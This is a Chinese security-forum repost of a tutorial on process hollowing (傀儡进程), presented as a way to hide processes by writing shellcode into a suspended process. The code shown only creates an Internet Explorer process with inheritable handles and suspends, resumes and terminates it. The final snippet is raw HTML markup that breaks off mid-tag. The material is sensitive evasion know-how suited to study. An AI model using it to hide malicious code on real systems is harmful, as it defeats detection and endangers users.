安全矩阵

 找回密码
 立即注册
搜索
查看: 2335|回复: 0

实战|傀儡进程的分析与实现

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-19 11:28:16 | 显示全部楼层 |阅读模式
原文链接:实战|傀儡进程的分析与实现

前言对于进程隐藏技术有很多种实现方式,本文就对傀儡进程进行分析及实现。
基础知识挂起方式创建进程我们知道如果进程创建之后会在内存空间进行拉伸,那么我们如果需要写入shellcode,只能在程序运行之前写入,因为当程序运行起来之后是不能够进行操作的。但是有一个例外,如果我们以挂起模式创建进程,写入shellcode到内存空间,再恢复进程,也能够达到同样的效果。
我们知道创建进程用到CreateProcess这个函数,首先看下结构
  1. BOOL CreateProcess(  
  2.  LPCTSTR lpApplicationName, // 应用程序名称  
  3.  LPTSTR lpCommandLine, // 命令行字符串  
  4.  LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性  
  5.  LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性  
  6.  BOOL bInheritHandles, // 是否继承父进程的属性  
  7.  DWORD dwCreationFlags, // 创建标志  
  8.  LPVOID lpEnvironment, // 指向新的环境块的指针  
  9.  LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针  
  10.  LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息  
  11.  LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息  
  12. );  
复制代码

其中以挂起方式创建进程与两个参数有关,分别是第三个参数和第四个参数lpProcessAttributes
为CreateProcess结构中的第三个成员,指向SECURITY_ATTRIBUTES结构的一个指针,用来设置进程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,进程句柄不能够被子进程继承
  1. typedef struct _SECURITY_ATTRIBUTES {
  2.        DWORD  nLength;  //结构体的大小
  3.        LPVOID lpSecurityDescriptor;  //安全描述符
  4.        BOOL   bInheritHandle; //指定返回的句柄是否被继承
  5. } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
复制代码

lpThreadAttributes为CreateProcess结构中的第四个成员,指向SECURITY_ATTRIBUTES结构的一个指针,用来设置线程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,线程句柄不能够被子进程继承
  1. typedef struct _SECURITY_ATTRIBUTES {
  2.        DWORD  nLength;  //结构体的大小
  3.        LPVOID lpSecurityDescriptor;  //安全描述符
  4.        BOOL   bInheritHandle; //指定返回的句柄是否被继承
  5. } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
复制代码

那么这里验证一下挂起进程之后就不能够对进程进行操作父进程代码,创建一个ie浏览器的进程并调用CreateProcess创建子进程
  1. // win32 create process3.cpp : Defines the entry point for the console application.
  2. //

  3. #include "stdafx.h"
  4. #include <windows.h>

  5. int main(int argc, char* argv[])
  6. {
  7.     char szBuffer[256] = {0};                                
  8.     char szHandle[8] = {0};                                
  9.                                     
  10.     SECURITY_ATTRIBUTES ie_sa_p;                                
  11.     ie_sa_p.nLength = sizeof(ie_sa_p);                                
  12.     ie_sa_p.lpSecurityDescriptor = NULL;                                
  13.     ie_sa_p.bInheritHandle = TRUE;                                 
  14.                                     
  15.     SECURITY_ATTRIBUTES ie_sa_t;                                
  16.     ie_sa_t.nLength = sizeof(ie_sa_t);                                
  17.     ie_sa_t.lpSecurityDescriptor = NULL;                                
  18.     ie_sa_t.bInheritHandle = TRUE;                                 
  19.    
  20.     //创建一个可以被继承的内核对象,此处是个进程                                
  21.    
  22.     STARTUPINFO ie_si = {0};                                   
  23.     PROCESS_INFORMATION ie_pi;                                
  24.     ie_si.cb = sizeof(ie_si);                                
  25.                                     
  26.     TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe");                                
  27.    
  28.     CreateProcess(                                
  29.         NULL,                             
  30.         szCmdline,                             
  31.         &ie_sa_p,                             
  32.         &ie_sa_t,                             
  33.         TRUE,                             
  34.         CREATE_NEW_CONSOLE,                             
  35.         NULL,                             
  36.         NULL, &ie_si, &ie_pi);                             
  37.                                     
  38.     //组织命令行参数                                
  39.     sprintf(szHandle,"%x %x",ie_pi.hProcess,ie_pi.hThread);                                
  40.     sprintf(szBuffer,"C:/project/win32 create process4/Debug/win32 create process4.exe %s",szHandle);                                
  41.                                     
  42.     //定义创建进程需要用的结构体                                
  43.     STARTUPINFO si = {0};                                   
  44.     PROCESS_INFORMATION pi;                                
  45.     si.cb = sizeof(si);                                
  46.                                     
  47.     //创建子进程                                
  48.     BOOL res = CreateProcess(                                
  49.         NULL,                             
  50.         szBuffer,                             
  51.         NULL,                             
  52.         NULL,                             
  53.         TRUE,                             
  54.         CREATE_NEW_CONSOLE,                             
  55.         NULL,                             
  56.         NULL, &si, &pi);                             

  57.     return 0;
  58. }
复制代码

子进程代码如下,这里获取到子进程的句柄之后,使用SuspendThread挂起进程,等待5s后使用ResumeThread恢复进程
  1. <section class="code-snippet__github" style="margin: 10px 8px;-webkit-tap-highlight-color: transparent;display: flex;font-size: 12px;height: auto;background-color: rgb(247, 247, 247);border-radius: 8px;color: rgb(0, 0, 0);font-family: &quot;PingFang SC&quot;;text-align: start;white-space: normal;"><pre data-lang="c++" style="-webkit-tap-highlight-color: transparent;display: grid;counter-reset: line 0;overflow-x: auto;padding: 1em;-webkit-box-flex: 1;flex: 1 1 0%;line-height: 20px;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;"><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(150, 152, 150);">// win32 create process4.cpp : Defines the entry point for the console application.</span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(150, 152, 150);">//</span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(150, 152, 150);">#include</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(24, 54, 145);">"stdafx.h"</span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(150, 152, 150);">#include</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(24, 54, 145);"><windows.h></span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(167, 29, 93);">int</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> main</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(167, 29, 93);">int</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> argc</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(167, 29, 93);">char</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">*</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> argv</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">[])</span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">{</span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    DWORD dwProcessHandle </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">=</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">-</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">1</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">;</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    DWORD dwThreadHandle </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">=</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">-</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">1</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">;</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(167, 29, 93);">char</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> szBuffer</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">[</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">256</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">]</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">=</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">{</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">0</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">};</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    memcpy</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">szBuffer</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">argv</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">[</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">1</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">],</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">8</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    sscanf</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">szBuffer</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(24, 54, 145);">"%x"</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,&</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">dwProcessHandle</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    memset</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">szBuffer</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">0</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">256</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    memcpy</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">szBuffer</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">argv</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">[</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">2</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">],</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">8</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    sscanf</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">szBuffer</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(24, 54, 145);">"%x"</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,&</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">dwThreadHandle</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    printf</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(24, 54, 145);">"获取IE进程、主线程句柄\n"</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">Sleep</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">5000</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(150, 152, 150);">//挂起主线程                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    printf</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(24, 54, 145);">"挂起主线程\n"</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">::</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">SuspendThread</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">((</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">HANDLE</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">)</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">dwThreadHandle</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">Sleep</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">5000</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(150, 152, 150);">//恢复主线程                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">::</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">ResumeThread</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">((</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">HANDLE</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">)</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">dwThreadHandle</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    printf</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(24, 54, 145);">"恢复主线程\n"</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">Sleep</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">5000</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(150, 152, 150);">//关闭ID进程                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">::</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">TerminateProcess</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">((</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">HANDLE</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">)</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">dwProcessHandle</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">1</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span 